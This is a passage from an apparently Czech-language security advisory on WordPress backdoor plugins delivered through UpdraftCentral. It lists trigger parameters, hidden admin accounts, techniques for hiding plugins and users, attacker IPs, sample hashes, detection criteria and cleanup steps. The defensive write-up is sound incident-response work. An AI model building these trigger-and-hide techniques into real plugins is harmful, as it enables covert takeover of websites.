str\u00e1nk\u00e1ch AMP.<\/li>\n<li>Spou\u0161t\u011b\u010d: parametr s n\u00e1zvem z 12 hex znak\u016f a 32znakov\u00fd token, nap\u0159\u00edklad <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">?f2b9faa21ebd=\u2026<\/code> nebo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">?303541c9dfd0=\u2026&amp;m=setup<\/code>. Dal\u0161\u00ed zji\u0161t\u011bn\u00e9 n\u00e1zvy parametr\u016f: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">f883d260d98a<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">a613ff6d53aa<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">6eb3d55b634e<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">f343ef05a88e<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">a67730d1b537<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2c71bff4b006<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">666b564665a9<\/code>.<\/li>\n<li><strong>Bez parametru <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m<\/code> p\u0159ihl\u00e1s\u00ed \u00fato\u010dn\u00edka jako prvn\u00edho existuj\u00edc\u00edho administr\u00e1tora<\/strong> a p\u0159esm\u011bruje ho do administrace. Nevytvo\u0159\u00ed \u017e\u00e1dn\u00fd \u00fa\u010det, tak\u017ee z\u016fstane jen soubor pluginu a \u0159\u00e1dek v access logu.<\/li>\n<li>Re\u017eim <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m=setup<\/code> vytvo\u0159\u00ed plnohodnotn\u00e9ho <strong>administr\u00e1tora<\/strong> a jeho ID ulo\u017e\u00ed do volby <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_uid<\/code> (nap\u0159\u00edklad <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">src_lab_uid<\/code>). Re\u017eim <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m=svc<\/code> p\u0159ihl\u00e1s\u00ed \u00fato\u010dn\u00edka do tohoto \u00fa\u010dtu. \u00da\u010dty maj\u00ed tvar <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">system_team850<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">web.tech988<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cmseditor170<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cms.tech644<\/code> nebo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">web_mgr684<\/code> s e-mailem na <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.com<\/code> a zobrazovan\u00e9 jm\u00e9no nap\u0159\u00edklad \u201eSystem Team\u201c, \u201eWeb Tech\u201c, \u201eSystem Staff\u201c, \u201eSystem Ops\u201c \u010di \u201eCms Tech\u201c.<\/li>\n<li>\u00da\u010det se sna\u017e\u00ed skr\u00fdt h\u00e1\u010dkem <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_user_query<\/code> a filtrem <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_count_users<\/code>, oba jsou ale napsan\u00e9 \u0161patn\u011b. <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_user_query<\/code> p\u0159id\u00e1 \u00fa\u010det mezi vylou\u010den\u00e9 a\u017e pot\u00e9, co WordPress sestavil SQL dotaz, tak\u017ee na v\u00fdsledek nem\u00e1 vliv. <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_count_users<\/code> dostane m\u00edsto po\u010dt\u016f hodnotu <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">null<\/code> a nic nezm\u011bn\u00ed. Na WordPressu 7.1.3 jsme ov\u011b\u0159ili, \u017ee se \u00fa\u010det v seznamu u\u017eivatel\u016f i v po\u010dtu administr\u00e1tor\u016f zobraz\u00ed norm\u00e1ln\u011b.<\/li>\n<li>Nem\u00e1 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code>. P\u0159i deaktivaci sma\u017ee jen volbu <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_installed<\/code>.<\/li>\n<li>Doru\u010den\u00ed je stejn\u00e9 jako u prvn\u00ed varianty: sonda a pak <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code>, z IP <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> i <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2a09:bac5:4e21:2e3c::49b:9<\/code>, v noci z 18. na 19. \u0159\u00edjna (nap\u0159\u00edklad src-lab 18. 10. ve 23:39 UTC, render-helper-232b 19. 10. v 0:03 UTC).<\/li>\n<\/ul>\n<p>Vzorky (SHA-256 hlavn\u00edho souboru):<\/p>\n<ul>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">src-lab<\/code>, \u201eSrc Lab\u201c 3.0.0, autor \u201eWPBridge\u201c, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">src-lab.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">59231b0e5004672b3058b47b4b4ff2b1fa89f1961bedf1741ba285e8adbe4928<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render-helper-232b<\/code>, \u201eRender Helper 232b\u201c 3.7.9<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">opt4fix<\/code>, \u201eOpt4fix\u201c 2.9.2, autor \u201eDigitalFork\u201c, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">54ca7b2da87852a5d1fd7bde644027f84557db4d45fbb25cb2d135a3497d8d5c<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">js-fix-757a<\/code>, \u201eJs Fix 757a\u201c 2.8.3, autor \u201eWPBridge\u201c, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2cdf3f2a3f10f0e12f00f2267907d44796107ab4aececdac520bba13e012b47a<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">lazy-tool-3055<\/code>, \u201eLazy Tool 3055\u201c 1.3.8, autor \u201eMetaLayer\u201c, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">1821a58e2a851acd1a608a77ce2f77817a0b7b6ef344b9889c8f8728e62969ec<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cache-smith<\/code>, \u201eCache Smith\u201c 1.3.1, autor \u201eToolBelt WP\u201c, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43dc88fd18501be3dbd6d7f1755e77386d081dd41cef82bc514d39991ae69c49<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">boost-kit<\/code>, \u201eBoost Kit\u201c 2.9.3, autor \u201ePixelForge\u201c, popis \u201eSimple database queries management with automatic cleanup routines.\u201c, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">fd664098cf189698e730b94fe1ea9f4425738f1be4bb9bd19eb38e14dbdf72e1<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">fast2engine<\/code>, \u201eFast2engine\u201c 1.6.9, autor \u201eCodeBarn\u201c, popis \u201eReliable transient storage maintenance companion for site owners.\u201c, \u00fa\u010det <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp.tech506@example.com<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">0f194a46d99a8180908a55d1ae9d5bb51e9257e68ba10312ce030b8a5cd2c8dd<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">defer-engine<\/code>, \u201eDefer Engine\u201c 3.3.1, autor \u201eSiteCraft Labs\u201c, popis \u201eFine-tunes script loading delivery to reduce load times on busy sites.\u201c, \u00fa\u010det <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">media-mgr138<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">87cb01de622d0108b60d4f3d6663935a7b53fd17b6b82b53a26e47a5b522dc91<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">minify-tool-bf90<\/code>, \u201eMinify Tool Bf90\u201c 2.9.8, autor \u201eMetaLayer\u201c, popis \u201eImproves asset loading efficiency for content sites with minimal overhead.\u201c, \u00fa\u010det <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pageeditor85<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">ca5ba1b02d4f1802c8182e7a71a4668959f42b501c523864c48dfdfc03ad54e8<\/code><\/li>\n<\/ul>\n<p>Jak ji naj\u00edt: kontroln\u00ed skript ve verzi 3 hled\u00e1 soubory plugin\u016f podle zn\u00e1m\u00fdch \u0159et\u011bzc\u016f, nap\u0159\u00edklad \u201ekeep service accounts out of the main user list\u201c, i podle k\u00f3du (p\u0159ihl\u00e1\u0161en\u00ed p\u0159es <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp_set_auth_cookie<\/code> po <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">hash_equals<\/code> nad hodnotou z URL, skr\u00fdv\u00e1n\u00ed p\u0159es <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_user_query<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_count_users<\/code>), prov\u011b\u0159\u00ed volby <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_uid<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_installed<\/code> a u\u017eivatele \u010dte p\u0159\u00edmo z datab\u00e1ze. Prohled\u00e1 i <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/upgrade\/<\/code>, kde z\u016fstane rozbalen\u00fd plugin, i kdy\u017e se instalace nepoda\u0159ila. Access log zkontrolujte podle postupu v \u010d\u00e1sti \u201eCo ud\u011blat hned\u201c.<\/p>\n<h2 id=\"t\u0159et\u00ed-varianta-minim\u00e1ln\u00ed-backdoor\">T\u0159et\u00ed varianta: minim\u00e1ln\u00ed backdoor<\/h2>\n<p>Tent\u00fd\u017e spr\u00e1vce na\u0161el i plugin <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site-health-364f<\/code> (\u201eSite Health 364F\u201c, verze 1.0, popis \u201eMaintenance helper.\u201c, bez autora). Je to jedin\u00fd soubor o 673 bajtech bez jak\u00e9hokoli maskov\u00e1n\u00ed:<\/p>\n<ul>\n<li>P\u0159i aktivaci ulo\u017e\u00ed volbu <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site_health_364f_ver<\/code>.<\/li>\n<li>Spou\u0161t\u011b\u010d: parametr <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">83e590bb7e9b<\/code> s 32znakov\u00fdm tokenem zapsan\u00fdm p\u0159\u00edmo v k\u00f3du.<\/li>\n<li>\u00dato\u010dn\u00edka p\u0159ihl\u00e1s\u00ed jako prvn\u00edho existuj\u00edc\u00edho administr\u00e1tora a p\u0159esm\u011bruje ho do administrace. \u017d\u00e1dn\u00fd \u00fa\u010det nevytv\u00e1\u0159\u00ed.<\/li>\n<li>SHA-256 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site-health-364f.php<\/code>: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">056db22ebb8b1c0036a992ecf9c37c7f868b1eab68812445eed29062fc2307fa<\/code><\/li>\n<\/ul>\n<p>Krom\u011b pluginu po n\u011bm z\u016fstane jen \u0159\u00e1dek v access logu, kter\u00fd najde grep z \u010d\u00e1sti \u201eCo ud\u011blat hned\u201c. Kontroln\u00ed skript ho zachyt\u00ed od verze 4.<\/p>\n<p>Dal\u0161\u00ed spr\u00e1vce na\u0161el jeho skrytou obm\u011bnu <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site-health-cache<\/code> (\u201eSite Health Cache\u201c 1.0.0, bez popisu a autora, spou\u0161t\u011b\u010d <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">38af88274bf8<\/code>, volba <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">sh_cache_ver<\/code>, SHA-256 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">fd37eda3283416c568d53dd437f190341221138d8efabc7437e983b09946f9dd<\/code>). Filtrem <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">all_plugins<\/code> se vy\u0159ad\u00ed ze seznamu plugin\u016f a filtrem <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_update_option_recently_activated<\/code> i ze seznamu ned\u00e1vno aktivovan\u00fdch, tak\u017ee ho v administraci neuvid\u00edte, p\u0159esto\u017ee je aktivn\u00ed. Kontroln\u00ed skript ho najde na disku. Stejnou obm\u011bnu s jin\u00fdm spou\u0161t\u011b\u010dem (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">9c37ef099b7b<\/code>, SHA-256 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2fc98e80960d196fa5b70ffa8c76ee5332c9d6c60465fe2e38ab2c597c357205<\/code>) na\u0161el i dal\u0161\u00ed spr\u00e1vce.<\/p>\n<h2 id=\"co-d\u011blat-kdy\u017e-ho-najdete\">Co d\u011blat, kdy\u017e ho najdete<\/h2>\n<ol type=\"1\">\n<li>Pokud jste to je\u0161t\u011b neud\u011blali, zru\u0161te spojen\u00ed s UpdraftCentral podle postupu v \u010d\u00e1sti \u201eCo ud\u011blat hned\u201c. Jinak m\u016f\u017ee \u00fato\u010dn\u00edk poslat opravenou verzi backdooru.<\/li>\n<li>Plugin deaktivujte a p\u0159esu\u0148te mimo webov\u00fd adres\u00e1\u0159. Pokud si ho chcete nechat jako d\u016fkaz, nema\u017ete ho p\u0159es administraci, proto\u017ee <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> sma\u017ee jeho volby.<\/li>\n<li>Sma\u017ete volby backdooru (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_sync_token<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_uid<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_installed<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_ver<\/code>) a \u00fa\u010det, kter\u00fd vytvo\u0159il.<\/li>\n<li>Zkontrolujte u\u017eivatele kontroln\u00edm skriptem n\u00ed\u017ee. Pokud backdoor fungoval, tedy jeho \u00fa\u010det existuje nebo se v access logu objevil po\u017eadavek s jeho parametrem, pova\u017eujte web za pln\u011b kompromitovan\u00fd. \u00dato\u010dn\u00edk mohl nahr\u00e1t dal\u0161\u00ed pluginy nebo webshell a zm\u011bnit soubory \u010di datab\u00e1zi. Web obnovte ze z\u00e1lohy z doby p\u0159ed 17. \u0159\u00edjnem, porovnejte soubory s \u010distou instalac\u00ed a projd\u011bte v\u0161echny u\u017eivatele s opr\u00e1vn\u011bn\u00edmi nav\u00edc.<\/li>\n<li>Zm\u011b\u0148te hesla administr\u00e1tor\u016f a k \u00fa\u010dtu UpdraftCentral Cloud, ukon\u010dete v\u0161echna p\u0159ihl\u00e1\u0161en\u00e1 sezen\u00ed a zapn\u011bte dvouf\u00e1zov\u00e9 ov\u011b\u0159en\u00ed. Pr\u00e9miov\u00fd UpdraftPlus m\u016f\u017ee m\u00edt heslo k \u00fa\u010dtu teamupdraft.com ulo\u017een\u00e9 v datab\u00e1zi tak, jak jste ho zadali (volba <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">updraftplus-addons_options<\/code>). Pokud se \u00fato\u010dn\u00edk dostal do administrace nebo datab\u00e1ze, pova\u017eujte toto heslo za unikl\u00e9.<\/li>\n<li>Zva\u017ete, zda vzd\u00e1lenou spr\u00e1vu pot\u0159ebujete. Pokud ano, kl\u00ed\u010d vytvo\u0159te pod \u00fa\u010dtem, kter\u00fd nem\u00e1 pr\u00e1va instalovat pluginy, pokud je na d\u00e1lku nepot\u0159ebujete. Na webu C \u00fatok zastavila pr\u00e1v\u011b tato n\u00e1hoda.<\/li>\n<\/ol>\n<h2 id=\"kontroln\u00ed-skript\">Kontroln\u00ed skript<\/h2>\n<p>Skript zkontroluje p\u011bt v\u011bc\u00ed: zda je web p\u0159ipojen\u00fd k UpdraftCentral, co web p\u0159es UpdraftCentral p\u0159ijal, zda jsou v adres\u00e1\u0159\u00edch <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugins<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">mu-plugins<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">upgrade<\/code> soubory backdooru, zda jsou v datab\u00e1zi jeho volby a zda existuje jeho \u00fa\u010det nebo jin\u00fd u\u017eivatel s ne\u010dekan\u00fdmi pr\u00e1vy. Verze 3 rozpozn\u00e1 backdoor i podle k\u00f3du, tak\u017ee zachyt\u00ed i p\u0159ejmenovan\u00e9 vzorky funk\u010dn\u00ed varianty s jin\u00fdm popisem, prov\u011b\u0159\u00ed volby <code 